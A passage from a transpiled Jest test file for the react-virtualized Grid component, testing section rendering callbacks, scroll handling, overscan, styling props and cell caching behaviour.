      var list = findDOMNode(render(getMarkup({
        height: 0,
        noContentRenderer: function noContentRenderer() {
          return React.createElement("div", null, "No data");
        }
      })));
      expect(list.textContent).toEqual('');
      list = findDOMNode(render(getMarkup({
        noContentRenderer: function noContentRenderer() {
          return React.createElement("div", null, "No data");
        },
        width: 0
      })));
      expect(list.textContent).toEqual('');
    });
  });
  describe('onSectionRendered', function () {
    it('should call :onSectionRendered if at least one cell is rendered', function () {
      var columnStartIndex, columnStopIndex, rowStartIndex, rowStopIndex;
      render(getMarkup({
        onSectionRendered: function onSectionRendered(params) {
          var _params;

          return _params = params, columnStartIndex = _params.columnStartIndex, columnStopIndex = _params.columnStopIndex, rowStartIndex = _params.rowStartIndex, rowStopIndex = _params.rowStopIndex, _params;
        }
      }));
      expect(columnStartIndex).toEqual(0);
      expect(columnStopIndex).toEqual(3);
      expect(rowStartIndex).toEqual(0);
      expect(rowStopIndex).toEqual(4);
    });
    it('should not call :onSectionRendered unless the column or row start or stop indices have changed', function () {
      var numCalls = 0;
      var columnStartIndex, columnStopIndex, rowStartIndex, rowStopIndex;

      var onSectionRendered = function onSectionRendered(params) {
        columnStartIndex = params.columnStartIndex;
        columnStopIndex = params.columnStopIndex;
        rowStartIndex = params.rowStartIndex;
        rowStopIndex = params.rowStopIndex;
        numCalls++;
      };

      render(getMarkup({
        onSectionRendered: onSectionRendered
      }));
      expect(numCalls).toEqual(1);
      expect(columnStartIndex).toEqual(0);
      expect(columnStopIndex).toEqual(3);
      expect(rowStartIndex).toEqual(0);
      expect(rowStopIndex).toEqual(4);
      render(getMarkup({
        onSectionRendered: onSectionRendered
      }));
      expect(numCalls).toEqual(1);
      expect(columnStartIndex).toEqual(0);
      expect(columnStopIndex).toEqual(3);
      expect(rowStartIndex).toEqual(0);
      expect(rowStopIndex).toEqual(4);
    });
    it('should call :onSectionRendered if the row or column start or stop indices have changed', function () {
      var numCalls = 0;
      var columnStartIndex, columnStopIndex, rowStartIndex, rowStopIndex;

      var onSectionRendered = function onSectionRendered(params) {
        columnStartIndex = params.columnStartIndex;
        columnStopIndex = params.columnStopIndex;
        rowStartIndex = params.rowStartIndex;
        rowStopIndex = params.rowStopIndex;
        numCalls++;
      };

      render(getMarkup({
        onSectionRendered: onSectionRendered
      }));
      expect(columnStartIndex).toEqual(0);
      expect(columnStopIndex).toEqual(3);
      expect(rowStartIndex).toEqual(0);
      expect(rowStopIndex).toEqual(4);
      render(getMarkup({
        height: 50,
        onSectionRendered: onSectionRendered
      }));
      expect(numCalls).toEqual(2);
      expect(columnStartIndex).toEqual(0);
      expect(columnStopIndex).toEqual(3);
      expect(rowStartIndex).toEqual(0);
      expect(rowStopIndex).toEqual(2);
      render(getMarkup({
        height: 50,
        onSectionRendered: onSectionRendered,
        width: 100
      }));
      expect(numCalls).toEqual(3);
      expect(columnStartIndex).toEqual(0);
      expect(columnStopIndex).toEqual(1);
      expect(rowStartIndex).toEqual(0);
      expect(rowStopIndex).toEqual(2);
    });
    it('should not call :onSectionRendered if no cells are rendered', function () {
      var numCalls = 0;
      render(getMarkup({
        height: 0,
        onSectionRendered: function onSectionRendered() {
          return numCalls++;
        }
      }));
      expect(numCalls).toEqual(0);
    });
  });
  describe(':scrollLeft and :scrollTop properties', function () {
    it('should render correctly when an initial :scrollLeft and :scrollTop properties are specified', function () {
      var columnStartIndex, columnStopIndex, rowStartIndex, rowStopIndex;
      findDOMNode(render(getMarkup({
        onSectionRendered: function onSectionRendered(params) {
          var _params2;

          return _params2 = params, columnStartIndex = _params2.columnStartIndex, columnStopIndex = _params2.columnStopIndex, rowStartIndex = _params2.rowStartIndex, rowStopIndex = _params2.rowStopIndex, _params2;
        },
        scrollLeft: 250,
        scrollTop: 100
      })));
      expect(rowStartIndex).toEqual(5);
      expect(rowStopIndex).toEqual(9);
      expect(columnStartIndex).toEqual(5);
      expect(columnStopIndex).toEqual(8);
    });
    it('should render correctly when :scrollLeft and :scrollTop properties are updated', function () {
      var columnStartIndex, columnStopIndex, rowStartIndex, rowStopIndex;
      render(getMarkup({
        onSectionRendered: function onSectionRendered(params) {
          var _params3;

          return _params3 = params, columnStartIndex = _params3.columnStartIndex, columnStopIndex = _params3.columnStopIndex, rowStartIndex = _params3.rowStartIndex, rowStopIndex = _params3.rowStopIndex, _params3;
        }
      }));
      expect(rowStartIndex).toEqual(0);
      expect(rowStopIndex).toEqual(4);
      expect(columnStartIndex).toEqual(0);
      expect(columnStopIndex).toEqual(3);
      render(getMarkup({
        onSectionRendered: function onSectionRendered(params) {
          var _params4;

          return _params4 = params, columnStartIndex = _params4.columnStartIndex, columnStopIndex = _params4.columnStopIndex, rowStartIndex = _params4.rowStartIndex, rowStopIndex = _params4.rowStopIndex, _params4;
        },
        scrollLeft: 250,
        scrollTop: 100
      }));
      expect(rowStartIndex).toEqual(5);
      expect(rowStopIndex).toEqual(9);
      expect(columnStartIndex).toEqual(5);
      expect(columnStopIndex).toEqual(8);
    });
  });
  describe('styles, classNames, and ids', function () {
    it('should use the expected global CSS classNames', function () {
      var rendered = findDOMNode(render(getMarkup()));
      expect(rendered.className).toEqual('ReactVirtualized__Grid');
    });
    it('should use a custom :className if specified', function () {
      var rendered = findDOMNode(render(getMarkup({
        className: 'foo'
      })));
      expect(rendered.className).toContain('foo');
    });
    it('should use a custom :id if specified', function () {
      var rendered = findDOMNode(render(getMarkup({
        id: 'bar'
      })));
      expect(rendered.getAttribute('id')).toEqual('bar');
    });
    it('should use a custom :style if specified', function () {
      var style = {
        backgroundColor: 'red'
      };
      var rendered = findDOMNode(render(getMarkup({
        style: style
      })));
      expect(rendered.style.backgroundColor).toEqual('red');
    });
    it('should use a custom :containerStyle if specified', function () {
      var containerStyle = {
        backgroundColor: 'red'
      };
      var rendered = findDOMNode(render(getMarkup({
        containerStyle: containerStyle
      })));
      expect(rendered.querySelector('.ReactVirtualized__Grid__innerScrollContainer').style.backgroundColor).toEqual('red');
    });
  });
  describe('onScroll', function () {
    it('should trigger callback when component is mounted', function () {
      var onScrollCalls = [];
      render(getMarkup({
        onScroll: function onScroll(params) {
          return onScrollCalls.push(params);
        },
        scrollLeft: 50,
        scrollTop: 100
      }));
      expect(onScrollCalls).toEqual([{
        clientHeight: 100,
        clientWidth: 200,
        scrollHeight: 2000,
        scrollLeft: 50,
        scrollTop: 100,
        scrollWidth: 2500
      }]);
    });
    it('should trigger callback when component scrolls horizontally', function () {
      var onScrollCalls = [];
      var grid = render(getMarkup({
        onScroll: function onScroll(params) {
          return onScrollCalls.push(params);
        }
      }));
      simulateScroll({
        grid: grid,
        scrollLeft: 100,
        scrollTop: 0
      });
      expect(onScrollCalls.length).toEqual(2);
      expect(onScrollCalls[1]).toEqual({
        clientHeight: 100,
        clientWidth: 200,
        scrollHeight: 2000,
        scrollLeft: 100,
        scrollTop: 0,
        scrollWidth: 2500
      });
    });
    it('should trigger callback when component scrolls vertically', function () {
      var onScrollCalls = [];
      var grid = render(getMarkup({
        onScroll: function onScroll(params) {
          return onScrollCalls.push(params);
        }
      }));
      simulateScroll({
        grid: grid,
        scrollLeft: 0,
        scrollTop: 100
      });
      expect(onScrollCalls.length).toEqual(2);
      expect(onScrollCalls[1]).toEqual({
        clientHeight: 100,
        clientWidth: 200,
        scrollHeight: 2000,
        scrollLeft: 0,
        scrollTop: 100,
        scrollWidth: 2500
      });
    });
    it('should trigger callback with scrollLeft of 0 when total columns width is less than width', function () {
      var onScrollCalls = [];
      var grid = render(getMarkup({
        columnCount: 1,
        columnWidth: 50,
        onScroll: function onScroll(params) {
          return onScrollCalls.push(params);
        },
        scrollLeft: 0,
        scrollTop: 10,
        width: 200
      }));
      simulateScroll({
        grid: grid,
        scrollLeft: 0,
        scrollTop: 0
      });
      expect(onScrollCalls.length).toEqual(2);
      expect(onScrollCalls[1]).toEqual({
        clientHeight: 100,
        clientWidth: 200,
        scrollHeight: 2000,
        scrollLeft: 0,
        scrollTop: 0,
        scrollWidth: 50
      });
    });
    it('should trigger callback with scrollTop of 0 when total rows height is less than height', function () {
      var onScrollCalls = [];
      var grid = render(getMarkup({
        rowCount: 1,
        rowHeight: 50,
        onScroll: function onScroll(params) {
          return onScrollCalls.push(params);
        },
        scrollLeft: 0,
        scrollTop: 10,
        height: 200
      }));
      simulateScroll({
        grid: grid,
        scrollLeft: 0,
        scrollTop: 0
      });
      expect(onScrollCalls.length).toEqual(2);
      expect(onScrollCalls[1]).toEqual({
        clientHeight: 200,
        clientWidth: 200,
        scrollHeight: 50,
        scrollLeft: 0,
        scrollTop: 0,
        scrollWidth: 2500
      });
    }); // Support use-cases like WindowScroller; enable them to stay in sync with scroll-to-cell changes.

    it('should trigger when :scrollToColumn or :scrollToRow are changed via props', function () {
      var onScrollCalls = [];
      render(getMarkup());
      render(getMarkup({
        onScroll: function onScroll(params) {
          return onScrollCalls.push(params);
        },
        scrollToColumn: 24,
        scrollToRow: 49
      }));
      expect(onScrollCalls).toEqual([{
        clientHeight: 100,
        clientWidth: 200,
        scrollHeight: 2000,
        scrollLeft: 1050,
        scrollTop: 900,
        scrollWidth: 2500
      }]);
    });
  });
  describe('overscanColumnCount & overscanRowCount', function () {
    function createHelper() {
      var _columnOverscanStartIndex, _columnOverscanStopIndex, _columnStartIndex, _columnStopIndex, _rowOverscanStartIndex, _rowOverscanStopIndex, _rowStartIndex, _rowStopIndex;

      function onSectionRendered(params) {
        _columnOverscanStartIndex = params.columnOverscanStartIndex;
        _columnOverscanStopIndex = params.columnOverscanStopIndex;
        _columnStartIndex = params.columnStartIndex;
        _columnStopIndex = params.columnStopIndex;
        _rowOverscanStartIndex = params.rowOverscanStartIndex;
        _rowOverscanStopIndex = params.rowOverscanStopIndex;
        _rowStartIndex = params.rowStartIndex;
        _rowStopIndex = params.rowStopIndex;
      }

      return {
        columnOverscanStartIndex: function columnOverscanStartIndex() {
          return _columnOverscanStartIndex;
        },
        columnOverscanStopIndex: function columnOverscanStopIndex() {
          return _columnOverscanStopIndex;
        },
        columnStartIndex: function columnStartIndex() {
          return _columnStartIndex;
        },
        columnStopIndex: function columnStopIndex() {
          return _columnStopIndex;
        },
        onSectionRendered: onSectionRendered,
        rowOverscanStartIndex: function rowOverscanStartIndex() {
          return _rowOverscanStartIndex;
        },
        rowOverscanStopIndex: function rowOverscanStopIndex() {
          return _rowOverscanStopIndex;
        },
        rowStartIndex: function rowStartIndex() {
          return _rowStartIndex;
        },
        rowStopIndex: function rowStopIndex() {
          return _rowStopIndex;
        }
      };
    }

    it('should not overscan if disabled', function () {
      var helper = createHelper();
      render(getMarkup({
        onSectionRendered: helper.onSectionRendered
      }));
      expect(helper.columnOverscanStartIndex()).toEqual(helper.columnStartIndex());
      expect(helper.columnOverscanStopIndex()).toEqual(helper.columnStopIndex());
      expect(helper.rowOverscanStartIndex()).toEqual(helper.rowStartIndex());
      expect(helper.rowOverscanStopIndex()).toEqual(helper.rowStopIndex());
    });
    it('should overscan the specified amount', function () {
      var helper = createHelper();
      render(getMarkup({
        onSectionRendered: helper.onSectionRendered,
        overscanColumnCount: 2,
        overscanRowCount: 5,
        scrollToColumn: 25,
        scrollToRow: 50
      }));
      expect(helper.columnOverscanStartIndex()).toEqual(22);
      expect(helper.columnOverscanStopIndex()).toEqual(27);
      expect(helper.columnStartIndex()).toEqual(22);
      expect(helper.columnStopIndex()).toEqual(25);
      expect(helper.rowOverscanStartIndex()).toEqual(46);
      expect(helper.rowOverscanStopIndex()).toEqual(55);
      expect(helper.rowStartIndex()).toEqual(46);
      expect(helper.rowStopIndex()).toEqual(50);
    });
    it('should not overscan beyond the bounds of the grid', function () {
      var helper = createHelper();
      render(getMarkup({
        onSectionRendered: helper.onSectionRendered,
        columnCount: 6,
        overscanColumnCount: 10,
        overscanRowCount: 10,
        rowCount: 5
      }));
      expect(helper.columnOverscanStartIndex()).toEqual(0);
      expect(helper.columnOverscanStopIndex()).toEqual(5);
      expect(helper.columnStartIndex()).toEqual(0);
      expect(helper.columnStopIndex()).toEqual(3);
      expect(helper.rowOverscanStartIndex()).toEqual(0);
      expect(helper.rowOverscanStopIndex()).toEqual(4);
      expect(helper.rowStartIndex()).toEqual(0);
      expect(helper.rowStopIndex()).toEqual(4);
    });
    it('should set the correct scroll direction', function () {
      // Do not pass in the initial state as props, otherwise the internal state is forbidden from updating itself
      var grid = render(getMarkup()); // Simulate a scroll to set the initial internal state

      simulateScroll({
        grid: grid,
        scrollLeft: 50,
        scrollTop: 50
      });
      expect(grid.state.scrollDirectionHorizontal).toEqual(SCROLL_DIRECTION_FORWARD);
      expect(grid.state.scrollDirectionVertical).toEqual(SCROLL_DIRECTION_FORWARD);
      simulateScroll({
        grid: grid,
        scrollLeft: 0,
        scrollTop: 0
      });
      expect(grid.state.scrollDirectionHorizontal).toEqual(SCROLL_DIRECTION_BACKWARD);
      expect(grid.state.scrollDirectionVertical).toEqual(SCROLL_DIRECTION_BACKWARD);
      simulateScroll({
        grid: grid,
        scrollLeft: 100,
        scrollTop: 100
      });
      expect(grid.state.scrollDirectionHorizontal).toEqual(SCROLL_DIRECTION_FORWARD);
      expect(grid.state.scrollDirectionVertical).toEqual(SCROLL_DIRECTION_FORWARD);
    });
    it('should set the correct scroll direction when scroll position is updated from props', function () {
      var grid = render(getMarkup({
        scrollLeft: 50,
        scrollTop: 50
      }));
      expect(grid.state.scrollDirectionHorizontal).toEqual(SCROLL_DIRECTION_FORWARD);
      expect(grid.state.scrollDirectionVertical).toEqual(SCROLL_DIRECTION_FORWARD);
      grid = render(getMarkup({
        scrollLeft: 0,
        scrollTop: 0
      }));
      expect(grid.state.scrollDirectionHorizontal).toEqual(SCROLL_DIRECTION_BACKWARD);
      expect(grid.state.scrollDirectionVertical).toEqual(SCROLL_DIRECTION_BACKWARD);
      grid = render(getMarkup({
        scrollLeft: 100,
        scrollTop: 100
      }));
      expect(grid.state.scrollDirectionHorizontal).toEqual(SCROLL_DIRECTION_FORWARD);
      expect(grid.state.scrollDirectionVertical).toEqual(SCROLL_DIRECTION_FORWARD);
    });
    it('should not reset scroll direction for one axis when scrolled in another', function () {
      // Do not pass in the initial state as props, otherwise the internal state is forbidden from updating itself
      var grid = render(getMarkup()); // Simulate a scroll to set the initial internal state

      simulateScroll({
        grid: grid,
        scrollLeft: 0,
        scrollTop: 5
      });
      expect(grid.state.scrollDirectionHorizontal).toEqual(SCROLL_DIRECTION_FORWARD);
      expect(grid.state.scrollDirectionVertical).toEqual(SCROLL_DIRECTION_FORWARD);
      simulateScroll({
        grid: grid,
        scrollLeft: 5,
        scrollTop: 5
      });
      expect(grid.state.scrollDirectionHorizontal).toEqual(SCROLL_DIRECTION_FORWARD);
      expect(grid.state.scrollDirectionVertical).toEqual(SCROLL_DIRECTION_FORWARD);
      simulateScroll({
        grid: grid,
        scrollLeft: 5,
        scrollTop: 0
      });
      expect(grid.state.scrollDirectionHorizontal).toEqual(SCROLL_DIRECTION_FORWARD);
      expect(grid.state.scrollDirectionVertical).toEqual(SCROLL_DIRECTION_BACKWARD);
      simulateScroll({
        grid: grid,
        scrollLeft: 0,
        scrollTop: 0
      });
      expect(grid.state.scrollDirectionHorizontal).toEqual(SCROLL_DIRECTION_BACKWARD);
      expect(grid.state.scrollDirectionVertical).toEqual(SCROLL_DIRECTION_BACKWARD);
    });
    it('should overscan in the direction being scrolled', function _callee(done) {
      var helper, onSectionRenderedResolve, onSectionRendered, grid, onSectionRenderedPromise;
      return _regeneratorRuntime.async(function _callee$(_context) {
        while (1) {
          switch (_context.prev = _context.next) {
            case 0:
              onSectionRendered = function _ref5(params) {
                helper.onSectionRendered(params);

                if (onSectionRenderedResolve) {
                  onSectionRenderedResolve();
                }
              };

              helper = createHelper();
              grid = render(getMarkup({
                onSectionRendered: onSectionRendered,
                overscanColumnCount: 2,
                overscanRowCount: 5
              })); // Wait until the onSectionRendered handler / debouncer has processed

              onSectionRenderedPromise = new Promise(function (resolve) {
                onSectionRenderedResolve = resolve;
              });
              simulateScroll({
                grid: grid,
                scrollLeft: 200,
                scrollTop: 200
              });
              _context.next = 7;
              return _regeneratorRuntime.awrap(onSectionRenderedPromise);

            case 7:
              // It should overscan in the direction being scrolled while scroll is in progress
              expect(helper.columnOverscanStartIndex()).toEqual(4);
              expect(helper.columnOverscanStopIndex()).toEqual(9);
              expect(helper.columnStartIndex()).toEqual(4);
              expect(helper.columnStopIndex()).toEqual(7);
              expect(helper.rowOverscanStartIndex()).toEqual(10);
              expect(helper.rowOverscanStopIndex()).toEqual(19);
              expect(helper.rowStartIndex()).toEqual(10);
              expect(helper.rowStopIndex()).toEqual(14); // Wait until the onSectionRendered handler / debouncer has processed

              onSectionRenderedPromise = new Promise(function (resolve) {
                onSectionRenderedResolve = resolve;
              });
              simulateScroll({
                grid: grid,
                scrollLeft: 100,
                scrollTop: 100
              });
              _context.next = 19;
              return _regeneratorRuntime.awrap(onSectionRenderedPromise);

            case 19:
              // It reset overscan once scrolling has finished
              expect(helper.columnOverscanStartIndex()).toEqual(0);
              expect(helper.columnOverscanStopIndex()).toEqual(5);
              expect(helper.columnStartIndex()).toEqual(2);
              expect(helper.columnStopIndex()).toEqual(5);
              expect(helper.rowOverscanStartIndex()).toEqual(0);
              expect(helper.rowOverscanStopIndex()).toEqual(9);
              expect(helper.rowStartIndex()).toEqual(5);
              expect(helper.rowStopIndex()).toEqual(9);
              done();

            case 28:
            case "end":
              return _context.stop();
          }
        }
      });
    });
  });
  describe('cellRangeRenderer', function () {
    it('should use a custom :cellRangeRenderer if specified', function () {
      var cellRangeRendererCalled = 0;
      var cellRangeRendererParams;
      var rendered = findDOMNode(render(getMarkup({
        cellRangeRenderer: function cellRangeRenderer(params) {
          cellRangeRendererParams = params;
          cellRangeRendererCalled++;
          return [React.createElement("div", {
            key: "0"
          }, "Fake content")];
        }
      })));
      expect(cellRangeRendererCalled).toEqual(1);
      expect(cellRangeRendererParams.columnStartIndex).toEqual(0);
      expect(cellRangeRendererParams.columnStopIndex).toEqual(3);
      expect(cellRangeRendererParams.rowStartIndex).toEqual(0);
      expect(cellRangeRendererParams.rowStopIndex).toEqual(4);
      expect(rendered.textContent).toContain('Fake content');
    });
  });
  describe('estimated row and column sizes', function () {
    it('should not estimate sizes if actual sizes are numbers', function () {
      var grid = render(getMarkup({
        columnWidth: 100,
        estimatedColumnSize: 150,
        estimatedRowSize: 15,
        rowHeight: 20
      }));
      expect(Grid._getEstimatedColumnSize(grid.props)).toEqual(100);
      expect(Grid._getEstimatedRowSize(grid.props)).toEqual(20);
    });
    it('should estimate row and column sizes if actual sizes are functions', function () {
      var grid = render(getMarkup({
        columnWidth: function columnWidth() {
          return 100;
        },
        estimatedColumnSize: 150,
        estimatedRowSize: 15,
        rowHeight: function rowHeight() {
          return 20;
        }
      }));
      expect(Grid._getEstimatedColumnSize(grid.props)).toEqual(150);
      expect(Grid._getEstimatedRowSize(grid.props)).toEqual(15);
    });
  });
  it('should pass the cellRenderer an :isScrolling flag when scrolling is in progress', function _callee2(done) {
    var cellRendererCalls, cellRenderer, grid;
    return _regeneratorRuntime.async(function _callee2$(_context2) {
      while (1) {
        switch (_context2.prev = _context2.next) {
          case 0:
            cellRenderer = function _ref7(_ref6) {
              var columnIndex = _ref6.columnIndex,
                  isScrolling = _ref6.isScrolling,
                  key = _ref6.key,
                  rowIndex = _ref6.rowIndex,
                  style = _ref6.style;
              cellRendererCalls.push(isScrolling);
              return defaultCellRenderer({
                columnIndex: columnIndex,
                key: key,
                rowIndex: rowIndex,
                style: style
              });
            };

            cellRendererCalls = [];
            grid = render(getMarkup({
              cellRenderer: cellRenderer
            }));
            expect(cellRendererCalls[0]).toEqual(false);
            cellRendererCalls.splice(0); // Give React time to process the queued setState()

            _context2.next = 7;
            return _regeneratorRuntime.awrap(new Promise(function (resolve) {
              return setTimeout(resolve, 1);
            }));

          case 7:
            simulateScroll({
              grid: grid,
              scrollTop: 100
            });
            expect(cellRendererCalls[0]).toEqual(true);
            done();

          case 10:
          case "end":
            return _context2.stop();
        }
      }
    });
  });
  it('should pass the cellRenderer an :isScrolling flag based on props override', function () {
    var cellRenderer = jest.fn();
    cellRenderer.mockImplementation(function (_ref8) {
      var key = _ref8.key,
          style = _ref8.style;
      return React.createElement("div", {
        key: key,
        style: style
      });
    });
    render(getMarkup({
      cellRenderer: cellRenderer,
      isScrolling: true
    }));
    expect(cellRenderer).toHaveBeenCalled();
    expect(cellRenderer.mock.calls[0][0].isScrolling).toBe(true);
    cellRenderer.mockReset();
    render(getMarkup({
      cellRenderer: cellRenderer,
      isScrolling: false,
      width: DEFAULT_WIDTH + 1
    }));
    expect(cellRenderer).toHaveBeenCalled();
    expect(cellRenderer.mock.calls[0][0].isScrolling).toBe(false);
  });
  it('should pass the cellRenderer an :isVisible flag', function () {
    var cellRendererCalls = [];

    function cellRenderer(props) {
      cellRendererCalls.push(props);
      return defaultCellRenderer(props);
    }

    render(getMarkup({
      cellRenderer: cellRenderer,
      height: DEFAULT_ROW_HEIGHT,
      overscanColumnCount: 1,
      overscanRowCount: 1,
      width: DEFAULT_COLUMN_WIDTH
    }));
    cellRendererCalls.forEach(function (props) {
      expect(props.isVisible).toEqual(props.columnIndex === 0 && props.rowIndex === 0); // Only the first cell is visible
    });
  });
  describe('cell caching', function () {
    it('should not cache cells if the Grid is not scrolling', function () {
      var cellRendererCalls = [];

      function cellRenderer(_ref9) {
        var columnIndex = _ref9.columnIndex,
            key = _ref9.key,
            rowIndex = _ref9.rowIndex,
            style = _ref9.style;
        cellRendererCalls.push({
          columnIndex: columnIndex,
          rowIndex: rowIndex
        });
        return defaultCellRenderer({
          columnIndex: columnIndex,
          key: key,
          rowIndex: rowIndex,
          style: style
        });
      }

      var props = {
        cellRenderer: cellRenderer,
        columnWidth: 100,
        height: 40,
        rowHeight: 20,
        scrollToRow: 0,
        width: 100
      };
      render(getMarkup(_objectSpread({}, props, {
        scrollToRow: 0
      })));
      expect(cellRendererCalls).toEqual([{
        columnIndex: 0,
        rowIndex: 0
      }, {
        columnIndex: 0,
        rowIndex: 1
      }]);
      cellRendererCalls.splice(0);
      render(getMarkup(_objectSpread({}, props, {
        scrollToRow: 1
      })));
      expect(cellRendererCalls).toEqual([{
        columnIndex: 0,
        rowIndex: 0
      }, {
        columnIndex: 0,
        rowIndex: 1
      }]);
    });
    it('should not cache cells if the offsets are not adjusted', function () {
      var cellRendererCalls = [];

      function cellRenderer(_ref10) {
        var columnIndex = _ref10.columnIndex,
            key = _ref10.key,
            rowIndex = _ref10.rowIndex,
            style = _ref10.style;
        cellRendererCalls.push({
          columnIndex: columnIndex,
          rowIndex: rowIndex
        });
        return defaultCellRenderer({
          columnIndex: columnIndex,
          key: key,
          rowIndex: rowIndex,
          style: style
        });
      }

      var props = {
        cellRenderer: cellRenderer,
        columnWidth: 100,
        height: 40,
        rowHeight: 20,
        rowCount: 100000,
        scrollToRow: 0,
        width: 100
      };
      render(getMarkup(_objectSpread({}, props, {
        scrollToRow: 0
      })));
      expect(cellRendererCalls).toEqual([{
        columnIndex: 0,
        rowIndex: 0
      }, {
        columnIndex: 0,
        rowIndex: 1
      }]);
      cellRendererCalls.splice(0);
      render(getMarkup(_objectSpread({}, props, {
        scrollToRow: 1
      })));
      expect(cellRendererCalls).toEqual([{
        columnIndex: 0,
        rowIndex: 0
      }, {
        columnIndex: 0,
        rowIndex: 1
      }]);
    });
    it('should cache a cell once it has been rendered while scrolling', function () {
      var cellRendererCalls = [];

      function cellRenderer(_ref11) {
        var columnIndex = _ref11.columnIndex,
            key = _ref11.key,
            rowIndex = _ref11.rowIndex,
            style = _ref11.style;
        cellRendererCalls.push({
          columnIndex: columnIndex,
          rowIndex: rowIndex
        });
        return defaultCellRenderer({
          columnIndex: columnIndex,
          key: key,
          rowIndex: rowIndex,
          style: style
        });
      }

      var props = {
        cellRenderer: cellRenderer,
        columnWidth: 100,
        height: 40,
        rowHeight: 20,
        width: 100
      };
      var grid = render(getMarkup(_objectSpread({}, props, {
        scrollToRow: 0
      })));
      expect(cellRendererCalls).toEqual([{
        columnIndex: 0,
        rowIndex: 0
      }, {
        columnIndex: 0,
        rowIndex: 1
      }]);
      simulateScroll({
        grid: grid,
        scrollTop: 1
      });
      cellRendererCalls.splice(0); // Rows 0-2 have already rendered but row 3 is not yet visible
      // This means that only row 3 should be newly-created
      // The others should come from the cache

      render(getMarkup(_objectSpread({}, props, {
        scrollToRow: 3
      })));
      expect(cellRendererCalls).toEqual([{
        columnIndex: 0,
        rowIndex: 3
      }]);
    });
    it('should clear cache once :isScrolling is false', function _callee3(done) {
      var cellRendererCalls, cellRenderer, props, grid;
      return _regeneratorRuntime.async(function _callee3$(_context3) {
        while (1) {
          switch (_context3.prev = _context3.next) {
            case 0:
              cellRenderer = function _ref13(_ref12) {
                var columnIndex = _ref12.columnIndex,
                    key = _ref12.key,
                    rowIndex = _ref12.rowIndex,
                    style = _ref12.style;
                cellRendererCalls.push({
                  columnIndex: columnIndex,
                  rowIndex: rowIndex
                });
                return defaultCellRenderer({
                  columnIndex: columnIndex,
                  key: key,
                  rowIndex: rowIndex,
                  style: style
                });
              };

              cellRendererCalls = [];
              props = {
                cellRenderer: cellRenderer,
                columnWidth: 100,
                height: 40,
                rowHeight: 20,
                scrollToRow: 0,
                width: 100
              };
              grid = render(getMarkup(props));
              expect(cellRendererCalls).toEqual([{
                columnIndex: 0,
                rowIndex: 0
              }, {
                columnIndex: 0,
                rowIndex: 1
              }]);
              simulateScroll({
                grid: grid,
                scrollTop: 1
              }); // Allow scrolling timeout to complete so that cell cache is reset

              _context3.next = 8;
              return _regeneratorRuntime.awrap(new Promise(function (resolve) {
                return setTimeout(resolve, DEFAULT_SCROLLING_RESET_TIME_INTERVAL * 2);
              }));

            case 8:
              cellRendererCalls.splice(0);
              render(getMarkup(_objectSpread({}, props, {
                scrollToRow: 1
              })));
              expect(cellRendererCalls.length).not.toEqual(0);
              done();

            case 12:
            case "end":
              return _context3.stop();
          }
        }
      });
    });
    it('should clear cache once :isScrolling via props is false', function _callee4() {
      var cellRenderer, props, scrollingStyle;
      return _regeneratorRuntime.async(function _callee4$(_context4) {
        while (1) {
          switch (_context4.prev = _context4.next) {
            case 0:
              cellRenderer = jest.fn();
              cellRenderer.mockImplementation(function (params) {
                return React.createElement("div", {
                  key: params.key,
                  style: params.style
                });
              });
              props = {
                autoHeight: true,
                cellRenderer: cellRenderer,
                columnCount: 1,
                isScrolling: true,
                rowCount: 1
              };
              render(getMarkup(props));
              render(getMarkup(props));
              expect(cellRenderer).toHaveBeenCalledTimes(1); // Due to cell cache

              scrollingStyle = cellRenderer.mock.calls[0][0].style;
              cellRenderer.mockReset();
              render(getMarkup(_objectSpread({}, props, {
                isScrolling: false
              })));
              expect(cellRenderer.mock.calls[0][0].style).toBe(scrollingStyle);
              expect(cellRenderer).toHaveBeenCalledTimes(1); // Reset cache

              cellRenderer.mockReset();
              render(getMarkup(_objectSpread({}, props, {
                isScrolling: true
              })));
              expect(cellRenderer.mock.calls[0][0].style).not.toBe(scrollingStyle);
              expect(cellRenderer).toHaveBeenCalledTimes(1); // Only cached when scrolling

            case 15:
            case "end":
              return _context4.stop();
          }
        }
      });
    });
    it('should clear cache if :recomputeGridSize is called', function () {
      var cellRendererCalls = [];

      function cellRenderer(_ref14) {
        var columnIndex = _ref14.columnIndex,
            key = _ref14.key,
            rowIndex = _ref14.rowIndex,
            style = _ref14.style;
        cellRendererCalls.push({
          columnIndex: columnIndex,
          rowIndex: rowIndex
        });
        return defaultCellRenderer({
          columnIndex: columnIndex,
          key: key,
          rowIndex: rowIndex,
          style: style
        });
      }

      var props = {
        cellRenderer: cellRenderer,
        columnWidth: 100,
        height: 40,
        rowHeight: 20,
        scrollTop: 0,
        width: 100
      };
      var grid = render(getMarkup(props));
      expect(cellRendererCalls).toEqual([{
        columnIndex: 0,
        rowIndex: 0
      }, {
        columnIndex: 0,
        rowIndex: 1
      }]);
      simulateScroll({
        grid: grid,
        scrollTop: 1
      });
      cellRendererCalls.splice(0);
      grid.recomputeGridSize();
      expect(cellRendererCalls.length).not.toEqual(0);
    });
    it('should not clear cache if :isScrollingOptOut is true', function () {
      var cellRendererCalls = [];

      function cellRenderer(_ref15) {
        var columnIndex = _ref15.columnIndex,
            key = _ref15.key,
            rowIndex = _ref15.rowIndex,
            style = _ref15.style;
        cellRendererCalls.push({
          columnIndex: columnIndex,
          rowIndex: rowIndex
        });
        return defaultCellRenderer({
          columnIndex: columnIndex,
          key: key,
          rowIndex: rowIndex,
          style: style
        });
      }

      var props = {
        cellRenderer: cellRenderer,
        columnWidth: 100,
        height: 40,
        rowHeight: 20,
        scrollTop: 0,
        width: 100,
        isScrollingOptOut: true
      };
      render(getMarkup(props));
      render(getMarkup(props));
      expect(cellRendererCalls).toEqual([{
        columnIndex: 0,
        rowIndex: 0
      }, {
        columnIndex: 0,
        rowIndex: 1
      }]);
      cellRendererCalls.splice(0);
      render(getMarkup(_objectSpread({}, props, {
        isScrolling: false
      }))); // Visible cells are cached

      expect(cellRendererCalls.length).toEqual(0);
      render(getMarkup(_objectSpread({}, props, {
        isScrolling: true
      }))); // Only cleared non-visible cells

      expect(cellRendererCalls.length).toEqual(0);
    });
    it('should not trigger render by _debounceScrollEndedCallback if process slow table', function _callee5() {
      var scrollingResetTimeInterval, cellRangeRendererCalls, cellRangeRenderer, props, grid, i;
      return _regeneratorRuntime.async(function _callee5$(_context5) {
        while (1) {
          switch (_context5.prev = _context5.next) {
            case 0:
              cellRangeRenderer = function _ref16(props) {
                var startTime = Date.now();

                while (Date.now() - startTime <= scrollingResetTimeInterval) {
                  ;
                } // imitate very slow render


                cellRangeRendererCalls++;
                return defaultCellRangeRenderer(props);
